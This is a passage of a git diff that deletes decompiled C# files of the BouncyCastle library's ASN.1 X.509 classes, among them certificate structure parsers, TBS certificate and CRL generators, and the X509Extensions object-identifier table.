- if (obj is TbsCertificateStructure) - { - return (TbsCertificateStructure)obj; - } - if (obj != null) - { - return new TbsCertificateStructure(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - internal TbsCertificateStructure(Asn1Sequence seq) - { - int num = 0; - this.seq = seq; - if (seq[0] is DerTaggedObject) - { - version = DerInteger.GetInstance((Asn1TaggedObject)seq[0], isExplicit: true); - } - else - { - num = -1; - version = new DerInteger(0); - } - bool flag = false; - bool flag2 = false; - if (version.Value.Equals(BigInteger.Zero)) - { - flag = true; - } - else if (version.Value.Equals(BigInteger.One)) - { - flag2 = true; - } - else if (!version.Value.Equals(BigInteger.Two)) - { - throw new ArgumentException("version number not recognised"); - } - serialNumber = DerInteger.GetInstance(seq[num + 1]); - signature = AlgorithmIdentifier.GetInstance(seq[num + 2]); - issuer = X509Name.GetInstance(seq[num + 3]); - Asn1Sequence asn1Sequence = (Asn1Sequence)seq[num + 4]; - startDate = Time.GetInstance(asn1Sequence[0]); - endDate = Time.GetInstance(asn1Sequence[1]); - subject = X509Name.GetInstance(seq[num + 5]); - subjectPublicKeyInfo = SubjectPublicKeyInfo.GetInstance(seq[num + 6]); - int num2 = seq.Count - (num + 6) - 1; - if (num2 != 0 && flag) - { - throw new ArgumentException("version 1 certificate contains extra data"); - } - while (num2 > 0) - { - DerTaggedObject derTaggedObject = (DerTaggedObject)seq[num + 6 + num2]; - switch (derTaggedObject.TagNo) - { - case 1: - issuerUniqueID = DerBitString.GetInstance(derTaggedObject, isExplicit: false); - break; - case 2: - subjectUniqueID = DerBitString.GetInstance(derTaggedObject, isExplicit: false); - break; - case 3: - if (flag2) - { - throw new ArgumentException("version 2 certificate cannot contain extensions"); - } - extensions = X509Extensions.GetInstance(Asn1Sequence.GetInstance(derTaggedObject, explicitly: true)); - break; - default: - throw new ArgumentException("Unknown tag encountered in structure: " + derTaggedObject.TagNo); - } - num2--; - } - } - - public override Asn1Object ToAsn1Object() - { - return seq; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Time.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Time.cs deleted file mode 100644 index c70f3f5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Time.cs +++ /dev/null @@ -1,94 +0,0 @@ -using System; -using System.Globalization; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class Time : Asn1Encodable, IAsn1Choice -{ - private readonly Asn1Object time; - - public static Time GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(obj.GetObject()); - } - - public Time(Asn1Object time) - { - if (time == null) - { - throw new ArgumentNullException("time"); - } - if (!(time is DerUtcTime) && !(time is DerGeneralizedTime)) - { - throw new ArgumentException("unknown object passed to Time"); - } - this.time = time; - } - - public Time(DateTime date) - { - string text = date.ToString("yyyyMMddHHmmss", CultureInfo.InvariantCulture) + "Z"; - int num = int.Parse(text.Substring(0, 4)); - if (num < 1950 || num > 2049) - { - time = new DerGeneralizedTime(text); - } - else - { - time = new DerUtcTime(text.Substring(2)); - } - } - - public static Time GetInstance(object obj) - { - if (obj == null || obj is Time) - { - return (Time)obj; - } - if (obj is DerUtcTime) - { - return new Time((DerUtcTime)obj); - } - if (obj is DerGeneralizedTime) - { - return new Time((DerGeneralizedTime)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public string GetTime() - { - if (time is DerUtcTime) - { - return ((DerUtcTime)time).AdjustedTimeString; - } - return ((DerGeneralizedTime)time).GetTime(); - } - - public DateTime ToDateTime() - { - try - { - if (time is DerUtcTime) - { - return ((DerUtcTime)time).ToAdjustedDateTime(); - } - return ((DerGeneralizedTime)time).ToDateTime(); - } - catch (FormatException ex) - { - throw new InvalidOperationException("invalid date string: " + ex.Message); - } - } - - public override Asn1Object ToAsn1Object() - { - return time; - } - - public override string ToString() - { - return GetTime(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/UserNotice.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/UserNotice.cs deleted file mode 100644 index 13814b3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/UserNotice.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class UserNotice : Asn1Encodable -{ - private readonly NoticeReference noticeRef; - - private readonly DisplayText explicitText; - - public virtual NoticeReference NoticeRef => noticeRef; - - public virtual DisplayText ExplicitText => explicitText; - - public UserNotice(NoticeReference noticeRef, DisplayText explicitText) - { - this.noticeRef = noticeRef; - this.explicitText = explicitText; - } - - public UserNotice(NoticeReference noticeRef, string str) - : this(noticeRef, new DisplayText(str)) - { - } - - [Obsolete("Use GetInstance() instead")] - public UserNotice(Asn1Sequence seq) - { - if (seq.Count == 2) - { - noticeRef = NoticeReference.GetInstance(seq[0]); - explicitText = DisplayText.GetInstance(seq[1]); - } - else if (seq.Count == 1) - { - if (seq[0].ToAsn1Object() is Asn1Sequence) - { - noticeRef = NoticeReference.GetInstance(seq[0]); - explicitText = null; - } - else - { - noticeRef = null; - explicitText = DisplayText.GetInstance(seq[0]); - } - } - else - { - if (seq.Count != 0) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - noticeRef = null; - explicitText = null; - } - } - - public static UserNotice GetInstance(object obj) - { - if (obj is UserNotice) - { - return (UserNotice)obj; - } - if (obj == null) - { - return null; - } - return new UserNotice(Asn1Sequence.GetInstance(obj)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (noticeRef != null) - { - asn1EncodableVector.Add(noticeRef); - } - if (explicitText != null) - { - asn1EncodableVector.Add(explicitText); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V1TbsCertificateGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V1TbsCertificateGenerator.cs deleted file mode 100644 index 67445f1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V1TbsCertificateGenerator.cs +++ /dev/null @@ -1,76 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class V1TbsCertificateGenerator -{ - internal DerTaggedObject version = new DerTaggedObject(0, new DerInteger(0)); - - internal DerInteger serialNumber; - - internal AlgorithmIdentifier signature; - - internal X509Name issuer; - - internal Time startDate; - - internal Time endDate; - - internal X509Name subject; - - internal SubjectPublicKeyInfo subjectPublicKeyInfo; - - public void SetSerialNumber(DerInteger serialNumber) - { - this.serialNumber = serialNumber; - } - - public void SetSignature(AlgorithmIdentifier signature) - { - this.signature = signature; - } - - public void SetIssuer(X509Name issuer) - { - this.issuer = issuer; - } - - public void SetStartDate(Time startDate) - { - this.startDate = startDate; - } - - public void SetStartDate(DerUtcTime startDate) - { - this.startDate = new Time(startDate); - } - - public void SetEndDate(Time endDate) - { - this.endDate = endDate; - } - - public void SetEndDate(DerUtcTime endDate) - { - this.endDate = new Time(endDate); - } - - public void SetSubject(X509Name subject) - { - this.subject = subject; - } - - public void SetSubjectPublicKeyInfo(SubjectPublicKeyInfo pubKeyInfo) - { - subjectPublicKeyInfo = pubKeyInfo; - } - - public TbsCertificateStructure GenerateTbsCertificate() - { - if (serialNumber == null || signature == null || issuer == null || startDate == null || endDate == null || subject == null || subjectPublicKeyInfo == null) - { - throw new InvalidOperationException("not all mandatory fields set in V1 TBScertificate generator"); - } - return new TbsCertificateStructure(new DerSequence(serialNumber, signature, issuer, new DerSequence(startDate, endDate), subject, subjectPublicKeyInfo)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V2AttributeCertificateInfoGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V2AttributeCertificateInfoGenerator.cs deleted file mode 100644 index 78b5c84..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V2AttributeCertificateInfoGenerator.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class V2AttributeCertificateInfoGenerator -{ - internal DerInteger version; - - internal Holder holder; - - internal AttCertIssuer issuer; - - internal AlgorithmIdentifier signature; - - internal DerInteger serialNumber; - - internal Asn1EncodableVector attributes; - - internal DerBitString issuerUniqueID; - - internal X509Extensions extensions; - - internal DerGeneralizedTime startDate; - - internal DerGeneralizedTime endDate; - - public V2AttributeCertificateInfoGenerator() - { - version = new DerInteger(1); - attributes = new Asn1EncodableVector(); - } - - public void SetHolder(Holder holder) - { - this.holder = holder; - } - - public void AddAttribute(string oid, Asn1Encodable value) - { - attributes.Add(new AttributeX509(new DerObjectIdentifier(oid), new DerSet(value))); - } - - public void AddAttribute(AttributeX509 attribute) - { - attributes.Add(attribute); - } - - public void SetSerialNumber(DerInteger serialNumber) - { - this.serialNumber = serialNumber; - } - - public void SetSignature(AlgorithmIdentifier signature) - { - this.signature = signature; - } - - public void SetIssuer(AttCertIssuer issuer) - { - this.issuer = issuer; - } - - public void SetStartDate(DerGeneralizedTime startDate) - { - this.startDate = startDate; - } - - public void SetEndDate(DerGeneralizedTime endDate) - { - this.endDate = endDate; - } - - public void SetIssuerUniqueID(DerBitString issuerUniqueID) - { - this.issuerUniqueID = issuerUniqueID; - } - - public void SetExtensions(X509Extensions extensions) - { - this.extensions = extensions; - } - - public AttributeCertificateInfo GenerateAttributeCertificateInfo() - { - if (serialNumber == null || signature == null || issuer == null || startDate == null || endDate == null || holder == null || attributes == null) - { - throw new InvalidOperationException("not all mandatory fields set in V2 AttributeCertificateInfo generator"); - } - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, holder, issuer, signature, serialNumber); - asn1EncodableVector.Add(new AttCertValidityPeriod(startDate, endDate)); - asn1EncodableVector.Add(new DerSequence(attributes)); - if (issuerUniqueID != null) - { - asn1EncodableVector.Add(issuerUniqueID); - } - if (extensions != null) - { - asn1EncodableVector.Add(extensions); - } - return AttributeCertificateInfo.GetInstance(new DerSequence(asn1EncodableVector)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V2Form.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V2Form.cs deleted file mode 100644 index d81bfbb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V2Form.cs +++ /dev/null @@ -1,105 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class V2Form : Asn1Encodable -{ - internal GeneralNames issuerName; - - internal IssuerSerial baseCertificateID; - - internal ObjectDigestInfo objectDigestInfo; - - public GeneralNames IssuerName => issuerName; - - public IssuerSerial BaseCertificateID => baseCertificateID; - - public ObjectDigestInfo ObjectDigestInfo => objectDigestInfo; - - public static V2Form GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static V2Form GetInstance(object obj) - { - if (obj is V2Form) - { - return (V2Form)obj; - } - if (obj != null) - { - return new V2Form(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public V2Form(GeneralNames issuerName) - : this(issuerName, null, null) - { - } - - public V2Form(GeneralNames issuerName, IssuerSerial baseCertificateID) - : this(issuerName, baseCertificateID, null) - { - } - - public V2Form(GeneralNames issuerName, ObjectDigestInfo objectDigestInfo) - : this(issuerName, null, objectDigestInfo) - { - } - - public V2Form(GeneralNames issuerName, IssuerSerial baseCertificateID, ObjectDigestInfo objectDigestInfo) - { - this.issuerName = issuerName; - this.baseCertificateID = baseCertificateID; - this.objectDigestInfo = objectDigestInfo; - } - - private V2Form(Asn1Sequence seq) - { - if (seq.Count > 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - int num = 0; - if (!(seq[0] is Asn1TaggedObject)) - { - num++; - issuerName = GeneralNames.GetInstance(seq[0]); - } - for (int i = num; i != seq.Count; i++) - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(seq[i]); - if (instance.TagNo == 0) - { - baseCertificateID = IssuerSerial.GetInstance(instance, explicitly: false); - continue; - } - if (instance.TagNo == 1) - { - objectDigestInfo = ObjectDigestInfo.GetInstance(instance, isExplicit: false); - continue; - } - throw new ArgumentException("Bad tag number: " + instance.TagNo); - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (issuerName != null) - { - asn1EncodableVector.Add(issuerName); - } - if (baseCertificateID != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, baseCertificateID)); - } - if (objectDigestInfo != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, objectDigestInfo)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V2TbsCertListGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V2TbsCertListGenerator.cs deleted file mode 100644 index 0b54804..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V2TbsCertListGenerator.cs +++ /dev/null @@ -1,153 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class V2TbsCertListGenerator -{ - private DerInteger version = new DerInteger(1); - - private AlgorithmIdentifier signature; - - private X509Name issuer; - - private Time thisUpdate; - - private Time nextUpdate; - - private X509Extensions extensions; - - private IList crlEntries; - - public void SetSignature(AlgorithmIdentifier signature) - { - this.signature = signature; - } - - public void SetIssuer(X509Name issuer) - { - this.issuer = issuer; - } - - public void SetThisUpdate(DerUtcTime thisUpdate) - { - this.thisUpdate = new Time(thisUpdate); - } - - public void SetNextUpdate(DerUtcTime nextUpdate) - { - this.nextUpdate = ((nextUpdate != null) ? new Time(nextUpdate) : null); - } - - public void SetThisUpdate(Time thisUpdate) - { - this.thisUpdate = thisUpdate; - } - - public void SetNextUpdate(Time nextUpdate) - { - this.nextUpdate = nextUpdate; - } - - public void AddCrlEntry(Asn1Sequence crlEntry) - { - if (crlEntries == null) - { - crlEntries = Platform.CreateArrayList(); - } - crlEntries.Add(crlEntry); - } - - public void AddCrlEntry(DerInteger userCertificate, DerUtcTime revocationDate, int reason) - { - AddCrlEntry(userCertificate, new Time(revocationDate), reason); - } - - public void AddCrlEntry(DerInteger userCertificate, Time revocationDate, int reason) - { - AddCrlEntry(userCertificate, revocationDate, reason, null); - } - - public void AddCrlEntry(DerInteger userCertificate, Time revocationDate, int reason, DerGeneralizedTime invalidityDate) - { - IList list = Platform.CreateArrayList(); - IList list2 = Platform.CreateArrayList(); - if (reason != 0) - { - CrlReason crlReason = new CrlReason(reason); - try - { - list.Add(X509Extensions.ReasonCode); - list2.Add(new X509Extension(critical: false, new DerOctetString(crlReason.GetEncoded()))); - } - catch (IOException ex) - { - throw new ArgumentException("error encoding reason: " + ex); - } - } - if (invalidityDate != null) - { - try - { - list.Add(X509Extensions.InvalidityDate); - list2.Add(new X509Extension(critical: false, new DerOctetString(invalidityDate.GetEncoded()))); - } - catch (IOException ex2) - { - throw new ArgumentException("error encoding invalidityDate: " + ex2); - } - } - if (list.Count != 0) - { - AddCrlEntry(userCertificate, revocationDate, new X509Extensions(list, list2)); - } - else - { - AddCrlEntry(userCertificate, revocationDate, null); - } - } - - public void AddCrlEntry(DerInteger userCertificate, Time revocationDate, X509Extensions extensions) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(userCertificate, revocationDate); - if (extensions != null) - { - asn1EncodableVector.Add(extensions); - } - AddCrlEntry(new DerSequence(asn1EncodableVector)); - } - - public void SetExtensions(X509Extensions extensions) - { - this.extensions = extensions; - } - - public TbsCertificateList GenerateTbsCertList() - { - if (signature == null || issuer == null || thisUpdate == null) - { - throw new InvalidOperationException("Not all mandatory fields set in V2 TbsCertList generator."); - } - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, signature, issuer, thisUpdate); - if (nextUpdate != null) - { - asn1EncodableVector.Add(nextUpdate); - } - if (crlEntries != null) - { - Asn1Sequence[] array = new Asn1Sequence[crlEntries.Count]; - for (int i = 0; i < crlEntries.Count; i++) - { - array[i] = (Asn1Sequence)crlEntries[i]; - } - asn1EncodableVector.Add(new DerSequence(array)); - } - if (extensions != null) - { - asn1EncodableVector.Add(new DerTaggedObject(0, extensions)); - } - return new TbsCertificateList(new DerSequence(asn1EncodableVector)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V3TbsCertificateGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V3TbsCertificateGenerator.cs deleted file mode 100644 index 22e7d3e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/V3TbsCertificateGenerator.cs +++ /dev/null @@ -1,130 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class V3TbsCertificateGenerator -{ - internal DerTaggedObject version = new DerTaggedObject(0, new DerInteger(2)); - - internal DerInteger serialNumber; - - internal AlgorithmIdentifier signature; - - internal X509Name issuer; - - internal Time startDate; - - internal Time endDate; - - internal X509Name subject; - - internal SubjectPublicKeyInfo subjectPublicKeyInfo; - - internal X509Extensions extensions; - - private bool altNamePresentAndCritical; - - private DerBitString issuerUniqueID; - - private DerBitString subjectUniqueID; - - public void SetSerialNumber(DerInteger serialNumber) - { - this.serialNumber = serialNumber; - } - - public void SetSignature(AlgorithmIdentifier signature) - { - this.signature = signature; - } - - public void SetIssuer(X509Name issuer) - { - this.issuer = issuer; - } - - public void SetStartDate(DerUtcTime startDate) - { - this.startDate = new Time(startDate); - } - - public void SetStartDate(Time startDate) - { - this.startDate = startDate; - } - - public void SetEndDate(DerUtcTime endDate) - { - this.endDate = new Time(endDate); - } - - public void SetEndDate(Time endDate) - { - this.endDate = endDate; - } - - public void SetSubject(X509Name subject) - { - this.subject = subject; - } - - public void SetIssuerUniqueID(DerBitString uniqueID) - { - issuerUniqueID = uniqueID; - } - - public void SetSubjectUniqueID(DerBitString uniqueID) - { - subjectUniqueID = uniqueID; - } - - public void SetSubjectPublicKeyInfo(SubjectPublicKeyInfo pubKeyInfo) - { - subjectPublicKeyInfo = pubKeyInfo; - } - - public void SetExtensions(X509Extensions extensions) - { - this.extensions = extensions; - if (extensions != null) - { - X509Extension extension = extensions.GetExtension(X509Extensions.SubjectAlternativeName); - if (extension != null && extension.IsCritical) - { - altNamePresentAndCritical = true; - } - } - } - - public TbsCertificateStructure GenerateTbsCertificate() - { - if (serialNumber == null || signature == null || issuer == null || startDate == null || endDate == null || (subject == null && !altNamePresentAndCritical) || subjectPublicKeyInfo == null) - { - throw new InvalidOperationException("not all mandatory fields set in V3 TBScertificate generator"); - } - DerSequence derSequence = new DerSequence(startDate, endDate); - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, serialNumber, signature, issuer, derSequence); - if (subject != null) - { - asn1EncodableVector.Add(subject); - } - else - { - asn1EncodableVector.Add(DerSequence.Empty); - } - asn1EncodableVector.Add(subjectPublicKeyInfo); - if (issuerUniqueID != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, issuerUniqueID)); - } - if (subjectUniqueID != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 2, subjectUniqueID)); - } - if (extensions != null) - { - asn1EncodableVector.Add(new DerTaggedObject(3, extensions)); - } - return new TbsCertificateStructure(new DerSequence(asn1EncodableVector)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509Attributes.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509Attributes.cs deleted file mode 100644 index a4b3383..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509Attributes.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Asn1.X509; - -public class X509Attributes -{ - public static readonly DerObjectIdentifier RoleSyntax = new DerObjectIdentifier("2.5.4.72"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509CertificateStructure.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509CertificateStructure.cs deleted file mode 100644 index c5fa811..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509CertificateStructure.cs +++ /dev/null @@ -1,90 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class X509CertificateStructure : Asn1Encodable -{ - private readonly TbsCertificateStructure tbsCert; - - private readonly AlgorithmIdentifier sigAlgID; - - private readonly DerBitString sig; - - public TbsCertificateStructure TbsCertificate => tbsCert; - - public int Version => tbsCert.Version; - - public DerInteger SerialNumber => tbsCert.SerialNumber; - - public X509Name Issuer => tbsCert.Issuer; - - public Time StartDate => tbsCert.StartDate; - - public Time EndDate => tbsCert.EndDate; - - public X509Name Subject => tbsCert.Subject; - - public SubjectPublicKeyInfo SubjectPublicKeyInfo => tbsCert.SubjectPublicKeyInfo; - - public AlgorithmIdentifier SignatureAlgorithm => sigAlgID; - - public DerBitString Signature => sig; - - public static X509CertificateStructure GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static X509CertificateStructure GetInstance(object obj) - { - if (obj is X509CertificateStructure) - { - return (X509CertificateStructure)obj; - } - if (obj == null) - { - return null; - } - return new X509CertificateStructure(Asn1Sequence.GetInstance(obj)); - } - - public X509CertificateStructure(TbsCertificateStructure tbsCert, AlgorithmIdentifier sigAlgID, DerBitString sig) - { - if (tbsCert == null) - { - throw new ArgumentNullException("tbsCert"); - } - if (sigAlgID == null) - { - throw new ArgumentNullException("sigAlgID"); - } - if (sig == null) - { - throw new ArgumentNullException("sig"); - } - this.tbsCert = tbsCert; - this.sigAlgID = sigAlgID; - this.sig = sig; - } - - private X509CertificateStructure(Asn1Sequence seq) - { - if (seq.Count != 3) - { - throw new ArgumentException("sequence wrong size for a certificate", "seq"); - } - tbsCert = TbsCertificateStructure.GetInstance(seq[0]); - sigAlgID = AlgorithmIdentifier.GetInstance(seq[1]); - sig = DerBitString.GetInstance(seq[2]); - } - - public byte[] GetSignatureOctets() - { - return sig.GetOctets(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(tbsCert, sigAlgID, sig); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509DefaultEntryConverter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509DefaultEntryConverter.cs deleted file mode 100644 index 7ee6bdf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509DefaultEntryConverter.cs +++ /dev/null @@ -1,39 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Asn1.X509; - -public class X509DefaultEntryConverter : X509NameEntryConverter -{ - public override Asn1Object GetConvertedValue(DerObjectIdentifier oid, string value) - { - if (value.Length != 0 && value[0] == '#') - { - try - { - return ConvertHexEncoded(value, 1); - } - catch (IOException) - { - throw new Exception("can't recode value for oid " + oid.Id); - } - } - if (value.Length != 0 && value[0] == '\\') - { - value = value.Substring(1); - } - if (oid.Equals(X509Name.EmailAddress) || oid.Equals(X509Name.DC)) - { - return new DerIA5String(value); - } - if (oid.Equals(X509Name.DateOfBirth)) - { - return new DerGeneralizedTime(value); - } - if (oid.Equals(X509Name.C) || oid.Equals(X509Name.SerialNumber) || oid.Equals(X509Name.DnQualifier) || oid.Equals(X509Name.TelephoneNumber)) - { - return new DerPrintableString(value); - } - return new DerUtf8String(value); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509Extension.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509Extension.cs deleted file mode 100644 index b2b6720..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509Extension.cs +++ /dev/null @@ -1,70 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class X509Extension -{ - internal bool critical; - - internal Asn1OctetString value; - - public bool IsCritical => critical; - - public Asn1OctetString Value => value; - - public X509Extension(DerBoolean critical, Asn1OctetString value) - { - if (critical == null) - { - throw new ArgumentNullException("critical"); - } - this.critical = critical.IsTrue; - this.value = value; - } - - public X509Extension(bool critical, Asn1OctetString value) - { - this.critical = critical; - this.value = value; - } - - public Asn1Encodable GetParsedValue() - { - return ConvertValueToObject(this); - } - - public override int GetHashCode() - { - int hashCode = Value.GetHashCode(); - if (!IsCritical) - { - return ~hashCode; - } - return hashCode; - } - - public override bool Equals(object obj) - { - if (!(obj is X509Extension x509Extension)) - { - return false; - } - if (Value.Equals(x509Extension.Value)) - { - return IsCritical == x509Extension.IsCritical; - } - return false; - } - - public static Asn1Object ConvertValueToObject(X509Extension ext) - { - try - { - return Asn1Object.FromByteArray(ext.Value.GetOctets()); - } - catch (Exception innerException) - { - throw new ArgumentException("can't convert extension", innerException); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509Extensions.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509Extensions.cs deleted file mode 100644 index eddb1dd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509Extensions.cs +++ /dev/null @@ -1,268 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.X509; - -public class X509Extensions : Asn1Encodable -{ - public static readonly DerObjectIdentifier SubjectDirectoryAttributes = new DerObjectIdentifier("2.5.29.9"); - - public static readonly DerObjectIdentifier SubjectKeyIdentifier = new DerObjectIdentifier("2.5.29.14"); - - public static readonly DerObjectIdentifier KeyUsage = new DerObjectIdentifier("2.5.29.15"); - - public static readonly DerObjectIdentifier PrivateKeyUsagePeriod = new DerObjectIdentifier("2.5.29.16"); - - public static readonly DerObjectIdentifier SubjectAlternativeName = new DerObjectIdentifier("2.5.29.17"); - - public static readonly DerObjectIdentifier IssuerAlternativeName = new DerObjectIdentifier("2.5.29.18"); - - public static readonly DerObjectIdentifier BasicConstraints = new DerObjectIdentifier("2.5.29.19"); - - public static readonly DerObjectIdentifier CrlNumber = new DerObjectIdentifier("2.5.29.20"); - - public static readonly DerObjectIdentifier ReasonCode = new DerObjectIdentifier("2.5.29.21"); - - public static readonly DerObjectIdentifier InstructionCode = new DerObjectIdentifier("2.5.29.23"); - - public static readonly DerObjectIdentifier InvalidityDate = new DerObjectIdentifier("2.5.29.24"); - - public static readonly DerObjectIdentifier DeltaCrlIndicator = new DerObjectIdentifier("2.5.29.27"); - - public static readonly DerObjectIdentifier IssuingDistributionPoint = new DerObjectIdentifier("2.5.29.28"); - - public static readonly DerObjectIdentifier CertificateIssuer = new DerObjectIdentifier("2.5.29.29"); - - public static readonly DerObjectIdentifier NameConstraints = new DerObjectIdentifier("2.5.29.30"); - - public static readonly DerObjectIdentifier CrlDistributionPoints = new DerObjectIdentifier("2.5.29.31"); - - public static readonly DerObjectIdentifier CertificatePolicies = new DerObjectIdentifier("2.5.29.32"); - - public static readonly DerObjectIdentifier PolicyMappings = new DerObjectIdentifier("2.5.29.33"); - - public static readonly DerObjectIdentifier AuthorityKeyIdentifier = new DerObjectIdentifier("2.5.29.35"); - - public static readonly DerObjectIdentifier PolicyConstraints = new DerObjectIdentifier("2.5.29.36"); - - public static readonly DerObjectIdentifier ExtendedKeyUsage = new DerObjectIdentifier("2.5.29.37"); - - public static readonly DerObjectIdentifier FreshestCrl = new DerObjectIdentifier("2.5.29.46"); - - public static readonly DerObjectIdentifier InhibitAnyPolicy = new DerObjectIdentifier("2.5.29.54"); - - public static readonly DerObjectIdentifier AuthorityInfoAccess = new DerObjectIdentifier("1.3.6.1.5.5.7.1.1"); - - public static readonly DerObjectIdentifier SubjectInfoAccess = new DerObjectIdentifier("1.3.6.1.5.5.7.1.11"); - - public static readonly DerObjectIdentifier LogoType = new DerObjectIdentifier("1.3.6.1.5.5.7.1.12"); - - public static readonly DerObjectIdentifier BiometricInfo = new DerObjectIdentifier("1.3.6.1.5.5.7.1.2"); - - public static readonly DerObjectIdentifier QCStatements = new DerObjectIdentifier("1.3.6.1.5.5.7.1.3"); - - public static readonly DerObjectIdentifier AuditIdentity = new DerObjectIdentifier("1.3.6.1.5.5.7.1.4"); - - public static readonly DerObjectIdentifier NoRevAvail = new DerObjectIdentifier("2.5.29.56"); - - public static readonly DerObjectIdentifier TargetInformation = new DerObjectIdentifier("2.5.29.55"); - - public static readonly DerObjectIdentifier ExpiredCertsOnCrl = new DerObjectIdentifier("2.5.29.60"); - - private readonly IDictionary extensions = Platform.CreateHashtable(); - - private readonly IList ordering; - - public IEnumerable ExtensionOids => new EnumerableProxy(ordering); - - public static X509Extensions GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static X509Extensions GetInstance(object obj) - { - if (obj == null || obj is X509Extensions) - { - return (X509Extensions)obj; - } - if 